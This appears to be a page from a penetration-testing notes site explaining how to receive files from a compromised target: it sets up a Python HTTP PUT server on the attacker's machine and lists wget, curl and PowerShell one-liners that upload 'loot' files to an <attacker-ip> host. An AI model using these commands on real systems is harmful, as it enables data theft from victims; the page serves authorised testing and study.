> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/file-transfer-method/http-put-server.md).

# HTTP PUT Server

HTTP PUT Server

### Objective

To **receive files from the target machine** (victim) to the attacker's machine without requiring complex tools, using a simple Python-based HTTP PUT server.

***

### Create Writable Directory

```bash
mkdir nogroup
chown nobody:nogroup nogroup
chmod 777 nogroup
cd nogroup
```

> `nogroup` directory is world-writable, ensuring uploaded files can be written by the server

***

### Save the Server Script

Create a new file `http-put-server.py` in `nogroup`:

```bash
vim http-put-server.py
```

Paste the following code:

```python
# http-put-server.py

import http.server
import socketserver

PORT = 80

class MyRequestHandler(http.server.SimpleHTTPRequestHandler):
    def do_PUT(self):
        file_path = self.translate_path(self.path)
        try:
            with open(file_path, 'wb') as file:
                file.write(self.rfile.read(int(self.headers['Content-Length'])))
            self.send_response(201, 'Created')
            self.end_headers()
            self.wfile.write(b'File created successfully.')
        except Exception as e:
            self.send_response(500, 'Internal Server Error')
            self.end_headers()
            self.wfile.write(f'Error: {str(e)}'.encode())

with socketserver.TCPServer(('', PORT), MyRequestHandler) as httpd:
    print(f'Serving on port {PORT}')
    httpd.serve_forever()
```

***

### Run the Server

```bash
sudo python3 http-put-server.py
```

> The server listens on port 80 and allows HTTP `PUT` requests, saving uploaded files to the current directory.

***

## PUT File from Target to Attacker (Client Side)

### Using `wget` (most stable)

```bash
wget --method=PUT --body-file=loot.cap http://<attacker-ip>/loot.cap
```

### Using `curl`

```bash
curl -X PUT --upload-file loot.txt http://<attacker-ip>/loot.txt
```

### Using PowerShell (Windows targets)

```powershell
Invoke-RestMethod -Uri "http://<attacker-ip>/loot.txt" -Method Put -InFile "C:\Users\Public\loot.txt"
```
